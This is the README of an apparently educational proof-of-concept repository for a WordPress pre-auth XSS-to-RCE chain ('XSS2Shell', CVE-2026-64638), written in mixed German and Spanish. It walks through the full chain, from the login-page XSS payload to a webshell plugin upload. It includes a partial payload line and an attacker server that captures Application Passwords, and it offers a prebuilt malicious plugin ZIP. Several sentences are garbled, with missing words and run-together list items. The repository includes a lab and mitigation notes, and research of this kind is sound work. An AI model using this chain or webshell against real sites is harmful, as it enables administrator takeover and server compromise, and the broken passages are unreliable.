
Funktionaler PoC für CVE-2026-64638 (XSS2Shell): Pre-Auth-XSS-zu-RCE-Kette in WordPress Core. Docker-Labor + Python-Angriffsserver + technische Analyse und Mitigation.
Educationeller Proof of Concept der XSS2Shell-Kette (CVE-2026-64638), einer Pre-Authentifizierungs-Schwachstelle (XSS → RCE) im WordPress Core, eigenständig entdeckt von pwn.ai und am 7. August 2026 veröffentlicht.
CVE-2026-64638 ist eine Pre-Authentifizierungs-Schwachstelle für
reflektiertes Cross-Site-Scripting (XSS) im Anmeldebildschirm von WordPress
(wp-login.php). Sie betrifft alle unterstützten Versionen von WordPress
vor 7.0.3, die am 6. August 2026 als Notfall-Security-Release veröffentlicht
wurde. Ihr wurde ein CVSS v4.0 von 8.9 zugewiesen.
Die als XSS2Shell getaufte Kette demonstriert, wie ein Angreifer – ausgehend allein von einem fehlgeschlagenen -Versuch mit manipuliertem – Folgendes tun kann:
strip_tags) und WordPress (wp_kses_post).user-profile.js)
zu kapern, um eine REST-JSONP-Anfrage an denselben Ursprung zu senden.jQuery.globalEval() in JavaScript-Ausführung im
WordPress-Ursprung umzuwandeln.Das Ergebnis ist Remote Code Execution (RCE) auf dem WordPress-Server unter
dem Benutzer des Web-Prozesses (typischerweise www-data) – ausgehend von
einem einzigen Klick des Administrators auf einen vom Angreifer
kontrollierten Link.
Dieses Repository enthält streng lehr- und verteidigungsorientiertes Material.
Die PoC wird mit einer eigenständigen Docker-Umgebung geliefert, die ausschließlich als lokales und reproduzierbares Angriffsziel dient.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
Die PoC ist für die Ausführung unter macOS oder Linux ausgelegt und benötigt:
zip-Erweiterung (für die manuelle Erstellung des
Payloads, optional; das bereits erstellte ZIP ist in payload/ enthalten).WordPress muss nicht manuell installiert werden: Die docker-compose.yml
startet ein verwundbares WordPress 7.0.2 (die letzte Version vor dem Patch)
zusammen mit MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress ist anschließend unter http://localhost:8080 erreichbar. Folge dem
Installationsassistenten und erstelle einen Administrator-Benutzer (z. B.
admin / admin-password).
Das Dockerfile verankert das Image auf
wordpress:7.0.2-php8.2-apache, der letzten Version vor dem Patch 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
Der Angreifer-Server lauscht auf http://localhost:9000 und stellt bereit:
/ → index.html (die Köderseite)./callback.php → Empfänger der Application Password.Im Terminal, in dem server.py läuft, erscheint eine Zeile wie:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
Die Anmeldedaten werden zusätzlich in attacker/captured_credentials.txt
gespeichert.
Nach einigen Sekunden hat der Orchestrator von index.html Folgendes getan:
payload.zip nach wp-content/plugins/payload/ hochgeladen.Überprüfe die Codeausführung mit:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Ein Header Hacked: true und ein JSON-Body bestätigen den RCE.
Sobald die Kette abgeschlossen ist, dienen die folgenden Endpunkte als Nachweis:
| Recurso | Evidencia esperada |
|---|---|
GET /wp-content/plugins/payload/shell.php | Cabecera Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt | Application Password capturada |
wp-admin → Aplicaciones → Contraseñas de aplicación | Una nueva entrada llamada «SomeApp» |
docs/ANALISIS.md — Detaillierte technische Analyse jeder
Phase der Kette, einschließlich Verweisen auf den WordPress-Quellcode.docs/MITIGACION.md — Empfohlene Gegenmaßnahmen,
Hardening und Überprüfung des Patches 7.0.3.Verteilt unter der MIT-Lizenz. Weitere Details findest du in der Datei
LICENSE.